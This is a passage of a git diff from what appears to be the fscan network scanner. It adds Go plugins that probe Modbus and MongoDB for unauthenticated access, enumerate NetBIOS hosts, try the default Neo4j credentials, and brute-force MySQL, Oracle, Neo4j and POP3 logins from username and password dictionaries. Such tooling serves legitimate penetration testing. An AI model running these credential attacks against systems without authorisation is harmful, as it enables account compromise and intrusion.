request[7] = 0x01 // 功能码: Read Coils
|
||||
binary.BigEndian.PutUint16(request[8:], 0x0000) // 起始地址
|
||||
binary.BigEndian.PutUint16(request[10:], 0x0001) // 读取数量
|
||||
|
||||
return request
|
||||
}
|
||||
|
||||
// isValidModbusResponse 验证Modbus响应是否有效
|
||||
func isValidModbusResponse(response []byte) bool {
|
||||
if len(response) < 9 {
|
||||
return false
|
||||
}
|
||||
|
||||
// 检查协议标识符
|
||||
protocolID := binary.BigEndian.Uint16(response[2:])
|
||||
if protocolID != 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
// 检查功能码
|
||||
funcCode := response[7]
|
||||
if funcCode == 0x81 { // 错误响应
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
// parseModbusResponse 解析Modbus响应获取设备信息
|
||||
func parseModbusResponse(response []byte) string {
|
||||
if len(response) < 9 {
|
||||
return ""
|
||||
}
|
||||
|
||||
unitID := response[6]
|
||||
return fmt.Sprintf("Unit ID: %d", unitID)
|
||||
}
|
126
Plugins/Mongodb.go
Normal file
126
Plugins/Mongodb.go
Normal file
@ -0,0 +1,126 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MongodbScan 执行MongoDB未授权扫描
|
||||
func MongodbScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
isUnauth, err := MongodbUnauth(info)
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("MongoDB %v %v", target, err)
|
||||
Common.LogError(errlog)
|
||||
} else if isUnauth {
|
||||
// 记录控制台输出
|
||||
Common.LogSuccess(fmt.Sprintf("MongoDB %v 未授权访问", target))
|
||||
|
||||
// 保存未授权访问结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "mongodb",
|
||||
"type": "unauthorized-access",
|
||||
"protocol": "mongodb",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
// MongodbUnauth 检测MongoDB未授权访问
|
||||
func MongodbUnauth(info *Common.HostInfo) (bool, error) {
|
||||
msgPacket := createOpMsgPacket()
|
||||
queryPacket := createOpQueryPacket()
|
||||
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
|
||||
// 尝试OP_MSG查询
|
||||
reply, err := checkMongoAuth(realhost, msgPacket)
|
||||
if err != nil {
|
||||
// 失败则尝试OP_QUERY查询
|
||||
reply, err = checkMongoAuth(realhost, queryPacket)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
|
||||
// 检查响应结果
|
||||
if strings.Contains(reply, "totalLinesWritten") {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// checkMongoAuth 检查MongoDB认证状态
|
||||
func checkMongoAuth(address string, packet []byte) (string, error) {
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", address, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置超时时间
|
||||
if err := conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// 发送查询包
|
||||
if _, err := conn.Write(packet); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply := make([]byte, 1024)
|
||||
count, err := conn.Read(reply)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
return string(reply[:count]), nil
|
||||
}
|
||||
|
||||
// createOpMsgPacket 创建OP_MSG查询包
|
||||
func createOpMsgPacket() []byte {
|
||||
return []byte{
|
||||
0x69, 0x00, 0x00, 0x00, // messageLength
|
||||
0x39, 0x00, 0x00, 0x00, // requestID
|
||||
0x00, 0x00, 0x00, 0x00, // responseTo
|
||||
0xdd, 0x07, 0x00, 0x00, // opCode OP_MSG
|
||||
0x00, 0x00, 0x00, 0x00, // flagBits
|
||||
// sections db.adminCommand({getLog: "startupWarnings"})
|
||||
0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
|
||||
}
|
||||
}
|
||||
|
||||
// createOpQueryPacket 创建OP_QUERY查询包
|
||||
func createOpQueryPacket() []byte {
|
||||
return []byte{
|
||||
0x48, 0x00, 0x00, 0x00, // messageLength
|
||||
0x02, 0x00, 0x00, 0x00, // requestID
|
||||
0x00, 0x00, 0x00, 0x00, // responseTo
|
||||
0xd4, 0x07, 0x00, 0x00, // opCode OP_QUERY
|
||||
0x00, 0x00, 0x00, 0x00, // flags
|
||||
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, // fullCollectionName admin.$cmd
|
||||
0x00, 0x00, 0x00, 0x00, // numberToSkip
|
||||
0x01, 0x00, 0x00, 0x00, // numberToReturn
|
||||
// query db.adminCommand({getLog: "startupWarnings"})
|
||||
0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
|
||||
}
|
||||
}
|
144
Plugins/MySQL.go
Normal file
144
Plugins/MySQL.go
Normal file
@ -0,0 +1,144 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MysqlScan 执行MySQL服务扫描
|
||||
func MysqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
totalUsers := len(Common.Userdict["mysql"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["mysql"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := MysqlConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
successMsg := fmt.Sprintf("MySQL %s %v %v", target, user, pass)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "mysql",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errMsg := fmt.Sprintf("MySQL %s %v %v %v", target, user, pass, err)
|
||||
Common.LogError(errMsg)
|
||||
|
||||
if strings.Contains(err.Error(), "Access denied") {
|
||||
break // 认证失败,尝试下一个密码
|
||||
}
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
tmperr = err
|
||||
if !strings.Contains(err.Error(), "Access denied") {
|
||||
continue
|
||||
}
|
||||
}
|
||||
continue
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// MysqlConn 尝试MySQL连接
|
||||
func MysqlConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port, username, password := info.Host, info.Ports, user, pass
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造连接字符串
|
||||
connStr := fmt.Sprintf(
|
||||
"%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v",
|
||||
username, password, host, port, timeout,
|
||||
)
|
||||
|
||||
// 建立数据库连接
|
||||
db, err := sql.Open("mysql", connStr)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
// 设置连接参数
|
||||
db.SetConnMaxLifetime(timeout)
|
||||
db.SetConnMaxIdleTime(timeout)
|
||||
db.SetMaxIdleConns(0)
|
||||
|
||||
// 测试连接
|
||||
if err = db.Ping(); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 连接成功,只返回结果,不打印日志
|
||||
return true, nil
|
||||
}
|
199
Plugins/Neo4j.go
Normal file
199
Plugins/Neo4j.go
Normal file
@ -0,0 +1,199 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/neo4j/neo4j-go-driver/v4/neo4j"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func Neo4jScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 首先测试无认证访问和默认凭证
|
||||
initialChecks := []struct {
|
||||
user string
|
||||
pass string
|
||||
}{
|
||||
{"", ""}, // 无认证
|
||||
{"neo4j", "neo4j"}, // 默认凭证
|
||||
}
|
||||
|
||||
Common.LogDebug("尝试默认凭证...")
|
||||
for _, check := range initialChecks {
|
||||
Common.LogDebug(fmt.Sprintf("尝试: %s:%s", check.user, check.pass))
|
||||
flag, err := Neo4jConn(info, check.user, check.pass)
|
||||
if flag && err == nil {
|
||||
var msg string
|
||||
if check.user == "" {
|
||||
msg = fmt.Sprintf("Neo4j服务 %s 无需认证即可访问", target)
|
||||
Common.LogSuccess(msg)
|
||||
|
||||
// 保存结果 - 无认证访问
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "neo4j",
|
||||
"type": "unauthorized-access",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
} else {
|
||||
msg = fmt.Sprintf("Neo4j服务 %s 默认凭证可用 用户名: %s 密码: %s", target, check.user, check.pass)
|
||||
Common.LogSuccess(msg)
|
||||
|
||||
// 保存结果 - 默认凭证
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "neo4j",
|
||||
"type": "default-credentials",
|
||||
"username": check.user,
|
||||
"password": check.pass,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
}
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
totalUsers := len(Common.Userdict["neo4j"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["neo4j"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
flag, err := Neo4jConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{flag, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
msg := fmt.Sprintf("Neo4j服务 %s 爆破成功 用户名: %s 密码: %s", target, user, pass)
|
||||
Common.LogSuccess(msg)
|
||||
|
||||
// 保存结果 - 成功爆破
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "neo4j",
|
||||
"type": "weak-password",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("Neo4j服务 %s 尝试失败 用户名: %s 密码: %s 错误: %v", target, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// Neo4jConn 尝试 Neo4j 连接
|
||||
func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造Neo4j URL
|
||||
uri := fmt.Sprintf("bolt://%s:%s", host, port)
|
||||
|
||||
// 配置驱动选项
|
||||
config := func(c *neo4j.Config) {
|
||||
c.SocketConnectTimeout = timeout
|
||||
}
|
||||
|
||||
var driver neo4j.Driver
|
||||
var err error
|
||||
|
||||
// 尝试建立连接
|
||||
if user != "" || pass != "" {
|
||||
// 有认证信息时使用认证
|
||||
driver, err = neo4j.NewDriver(uri, neo4j.BasicAuth(user, pass, ""), config)
|
||||
} else {
|
||||
// 无认证时使用NoAuth
|
||||
driver, err = neo4j.NewDriver(uri, neo4j.NoAuth(), config)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer driver.Close()
|
||||
|
||||
// 测试连接
|
||||
err = driver.VerifyConnectivity()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
@ -4,7 +4,7 @@ import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"gopkg.in/yaml.v3"
|
||||
"net"
|
||||
"strconv"
|
||||
@ -14,18 +14,59 @@ import (
|
||||
|
||||
var errNetBIOS = errors.New("netbios error")
|
||||
|
||||
func NetBIOS(info *common.HostInfo) error {
|
||||
func NetBIOS(info *Common.HostInfo) error {
|
||||
netbios, _ := NetBIOS1(info)
|
||||
output := netbios.String()
|
||||
if len(output) > 0 {
|
||||
result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output)
|
||||
common.LogSuccess(result)
|
||||
result := fmt.Sprintf("NetBios %-15s %s", info.Host, output)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
// 保存结果
|
||||
details := map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
}
|
||||
|
||||
// 添加有效的 NetBIOS 信息
|
||||
if netbios.ComputerName != "" {
|
||||
details["computer_name"] = netbios.ComputerName
|
||||
}
|
||||
if netbios.DomainName != "" {
|
||||
details["domain_name"] = netbios.DomainName
|
||||
}
|
||||
if netbios.NetDomainName != "" {
|
||||
details["netbios_domain"] = netbios.NetDomainName
|
||||
}
|
||||
if netbios.NetComputerName != "" {
|
||||
details["netbios_computer"] = netbios.NetComputerName
|
||||
}
|
||||
if netbios.WorkstationService != "" {
|
||||
details["workstation_service"] = netbios.WorkstationService
|
||||
}
|
||||
if netbios.ServerService != "" {
|
||||
details["server_service"] = netbios.ServerService
|
||||
}
|
||||
if netbios.DomainControllers != "" {
|
||||
details["domain_controllers"] = netbios.DomainControllers
|
||||
}
|
||||
if netbios.OsVersion != "" {
|
||||
details["os_version"] = netbios.OsVersion
|
||||
}
|
||||
|
||||
scanResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.SERVICE,
|
||||
Target: info.Host,
|
||||
Status: "identified",
|
||||
Details: details,
|
||||
}
|
||||
|
||||
Common.SaveResult(scanResult)
|
||||
return nil
|
||||
}
|
||||
return errNetBIOS
|
||||
}
|
||||
|
||||
func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
netbios, err = GetNbnsname(info)
|
||||
var payload0 []byte
|
||||
if netbios.ServerService != "" || netbios.WorkstationService != "" {
|
||||
@ -40,12 +81,12 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
}
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
var conn net.Conn
|
||||
conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
conn, err = Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@ -84,16 +125,16 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
func GetNbnsname(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
|
||||
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
|
||||
realhost := fmt.Sprintf("%s:137", info.Host)
|
||||
conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
conn, err := net.DialTimeout("udp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@ -229,7 +270,7 @@ func (info *NetBiosInfo) String() (output string) {
|
||||
}
|
||||
if text == "" {
|
||||
} else if info.DomainControllers != "" {
|
||||
output = fmt.Sprintf("[+] DC:%-24s", text)
|
||||
output = fmt.Sprintf("DC:%-24s", text)
|
||||
} else {
|
||||
output = fmt.Sprintf("%-30s", text)
|
||||
}
|
||||
|
136
Plugins/Oracle.go
Normal file
136
Plugins/Oracle.go
Normal file
@ -0,0 +1,136 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
_ "github.com/sijms/go-ora/v2"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func OracleScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
totalUsers := len(Common.Userdict["oracle"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["oracle"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行Oracle连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := OracleConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
successMsg := fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v", target, user, pass)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "oracle",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errMsg := fmt.Sprintf("Oracle %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
|
||||
Common.LogError(errMsg)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// OracleConn 尝试Oracle连接
|
||||
func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port, username, password := info.Host, info.Ports, user, pass
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造连接字符串
|
||||
connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl",
|
||||
username, password, host, port)
|
||||
|
||||
// 建立数据库连接
|
||||
db, err := sql.Open("oracle", connStr)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
// 设置连接参数
|
||||
db.SetConnMaxLifetime(timeout)
|
||||
db.SetConnMaxIdleTime(timeout)
|
||||
db.SetMaxIdleConns(0)
|
||||
|
||||
// 测试连接
|
||||
if err = db.Ping(); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
187
Plugins/POP3.go
Normal file
187
Plugins/POP3.go
Normal file
@ -0,0 +1,187 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func POP3Scan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
totalUsers := len(Common.Userdict["pop3"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["pop3"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
isTLS bool
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, isTLS, err := POP3Conn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
isTLS bool
|
||||
}{success, err, isTLS}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
successMsg := fmt.Sprintf("POP3服务 %s 用户名: %v 密码: %v", target, user, pass)
|
||||
if result.isTLS {
|
||||
successMsg += " (TLS)"
|
||||
}
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "pop3",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
"tls": result.isTLS,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
